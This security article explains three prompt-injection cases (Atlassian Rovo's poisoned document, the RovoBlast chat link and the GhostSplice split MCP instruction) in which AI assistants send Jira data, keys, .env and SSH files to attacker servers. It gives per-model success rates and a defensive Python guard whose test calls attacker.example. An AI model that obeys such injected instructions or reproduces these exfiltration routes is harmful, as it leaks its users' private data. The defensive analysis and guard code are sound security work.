A document, a link, a plugin: three ways an AI assistant walks company data out the door
If your AI assistant can reach Jira, Confluence, email or your code repository, these three cases are about you. In each one the attacker controlled a single piece of content, and the assistant did the rest with the signed-in employee's permissions. Below: each case, the shared mechanism, 38 lines of Python that cut it, and a list of things to do.

Case 1. An uploaded document, with web search switched off
The attacker controlled one file. In PromptArmor's demonstration of 5 August, an employee uploads a "Backlog Guide" document with a hidden instruction to Atlassian Rovo and asks it to organise their Jira tickets. Rovo searches Jira and Confluence as asked, then appends what it found to the attacker's URL and opens it with its page retrieval tool. The tickets and Confluence pages end up in the attacker's server logs. Nobody approves that step, and reopening the chat later shows only the suggested ticket updates.
The detail that matters most: the organisation had web search for Rovo switched off. That setting does not remove the tool that opens search results, so the way out stayed open. PromptArmor reported the issue to Atlassian on 23 May, followed up on 4 June and 29 July, and said on publication day that Rovo was still vulnerable. The Hacker News found no update to the report as of 8 August. Its status after that is not confirmed by any source.
Case 2. One click on a link
The attacker controlled a link. On 7 August Varonis described RovoBlast, presented at DEF CON 34: the rovoChatPrompt parameter in a home.atlassian.com address drops a ready-made prompt straight into Rovo's chat. One click from a signed-in employee is enough for Rovo to carry out the attacker's instructions with that employee's permissions. Varonis sums it up bluntly: no jailbreaks, no permission bypass, no warnings and no confirmation.
According to the Bugcrowd report described by The Hacker News, the researcher pulled a private API key out of Confluence by placing it in the path of an image URL on the attacker's server. The same technique was tried on Jira and on data reachable through the SharePoint and Outlook connectors. Atlassian fixed the flaw on its side on 8 July 2026; the report was rated P2 and paid a $6,000 bounty. Varonis adds that Rovo cannot be fully uninstalled, which leaves customers with one lever: narrowing its reach.
Case 3. A plugin that splits the instruction
The attacker controlled an MCP server, a plugin that gives a coding assistant extra tools. The ASSET group's GhostSplice technique cuts the theft into pieces that each look harmless. The description of a tool called integrity_checker offers a form with fields named alpha, beta, gamma and delta. A later project scan result says to fill those fields with the contents of .ssh/id_rsa, the source code, customers.csv and .env. The model puts the two together and sends the files to the attacker's tool.
The tests were controlled: isolated projects seeded with fake secrets, not a break-in at a real company. The attack also assumes a developer has connected the hostile server and that the agent could read those files anyway. Results depend heavily on the model and on the client it runs in:
- GPT‑4o, Gemini 2.0 Flash and Llama 3.3 70B: 0% with the instruction in one piece, 100% once it was split in two.
- GPT‑5.4: 90% in Cursor and 100% in Codex CLI, but 0% in Claude Code.
- Claude Sonnet 4.6 and Opus 4.6: 0% across the table, although in one test Sonnet sent source code containing a hardcoded key.
What the three cases share
Each time, three things met that Simon Willison calls the lethal trifecta: access to private data, exposure to content from strangers, and a way to send something out. Varonis adds a rule of thumb from its testing: if the model can read it, it can treat it as an instruction. A keyword filter on the prompt does nothing here, because in GhostSplice no single fragment contained anything suspicious.
The exit always ran through a tool: fetching a page, loading an image, calling a plugin function. That is where you can put a rule the model cannot talk its way past. The ASSET researchers phrase it this way: treat tool output as data, not instructions, and do not let values from one tool's output flow unchecked into another tool's arguments.
A guard between the agent and its tools
The class below sits between an agent and its tools and checks every call before it runs. It does three things: it lets URLs through only to domains on a list, it remembers text returned by tools, and it blocks a network call that carries remembered text or anything that looks like a secret. Every block goes to the log.
python
import logging, re, sys
from urllib.parse import urlparse
logging.basicConfig(stream=sys.stdout, format="%(levelname)s %(message)s")
ALLOWED_DOMAINS = {"api.atlassian.com", "yourcompany.atlassian.net"}
NETWORK_TOOLS = {"open_url", "http_post", "send_email"}
SECRETS = re.compile(r"AKIA[0-9A-Z]{16}|-----BEGIN|\b[A-Z][A-Z0-9_]{2,}=\S+")
MIN_TAINT_LEN = 12 # ignore short strings like "OK" or ticket keys
class ToolGuard:
def __init__(self):
self.tainted = set()
def check(self, tool, args):
text = " ".join(str(v) for v in args.values())
for url in re.findall(r"https?://[^\s\"']+", text):
host = urlparse(url).hostname or ""
if host not in ALLOWED_DOMAINS:
return self._block(tool, f"domain not allowed: {host}")
if tool in NETWORK_TOOLS:
if SECRETS.search(text):
return self._block(tool, "secret pattern in arguments")
if any(t in text for t in self.tainted):
return self._block(tool, "carries data returned by another tool")
return True
def remember(self, result):
lines = (s.strip() for s in str(result).splitlines())
self.tainted |= {s for s in lines if len(s) >= MIN_TAINT_LEN}
def _block(self, tool, reason):
logging.warning("BLOCKED %s: %s", tool, reason)
return False
guard = ToolGuard()
guard.remember("PROJ-142: migrate billing DB\nDB_PASSWORD=hunter2-prod")
print(guard.check("open_url", {"url": "https://yourcompany.atlassian.net/browse/PROJ-142"}))
print(guard.check("open_url", {"url": "https://attacker.example/log?d=PROJ-142"}))Running it: the first call returns True, because the ticket link points at an allowed domain. The second returns False and logs "WARNING BLOCKED open_url: domain not allowed: attacker.example". If the attacker used an allowed domain and appended the ticket text to the URL, the second rule would stop it with "carries data returned by another tool". A URL carrying an AWS key or a DB_PASSWORD=... line hits the third.
This is one layer, not a complete defence. It will not catch data encoded in base64 or URL encoding, or paraphrased by the model. It compares whole lines of tool output, so a fragment of a line, say an account number without the rest of the sentence, also gets through. It cannot see Markdown images that the browser fetches on its own, with no tool call. An allowed domain can still serve as a drop box, a comment on a public ticket for instance. With MCP plugins, add every tool of an external server to NETWORK_TOOLS, because its arguments leave the machine. Then the GhostSplice form, filled with the contents of .env or an SSH key, gets stopped. And every block leaves a log line, the trail a Rovo user never saw in the chat.
What to do this month
Five steps for a company with an assistant wired into its tools
- 01List every assistant tool that can send something out: page fetching, link previews, images, email, webhooks. Web search being off does not mean that list is empty.
- 02Switch the assistant off where your most sensitive data lives: HR, finance, legal. Atlassian lets you block Rovo features per app, and on Enterprise per user group as well.
- 03If you build your own agent, put a rule like the one above between the model and its tools: a domain allowlist, tracking of data from tool results, and a log line for every block.
- 04Connect only MCP servers someone in the company has reviewed, pin their versions, and keep a human able to reject a tool call.
- 05Once a quarter, plant a fake key in Confluence or a repository and try to get it out with a poisoned document. If the key reaches your test server, you know what to fix.
Sources
- 01PromptArmor, Atlassian Rovo Exfiltrates Data, Bypassing Controlspublished 5 August 2026
- 02Varonis Threat Labs, RovoBlast: How One Click Triggered Atlassian's AI Assistant to Leak Datapublished 7 August 2026
- 03The Hacker News, Atlassian Rovo Can Be Tricked Into Sending Jira and Confluence Data to Attackerspublished 8 August 2026
- 04The Hacker News, Malicious MCP Servers Can Split Instructions to Make AI Coding Agents Exfiltrate Secretspublished 11 August 2026
- 05ASSET Research Group, asset-group/ghostsplice on GitHubpublished 23 July 2026, README as of 11 August 2026
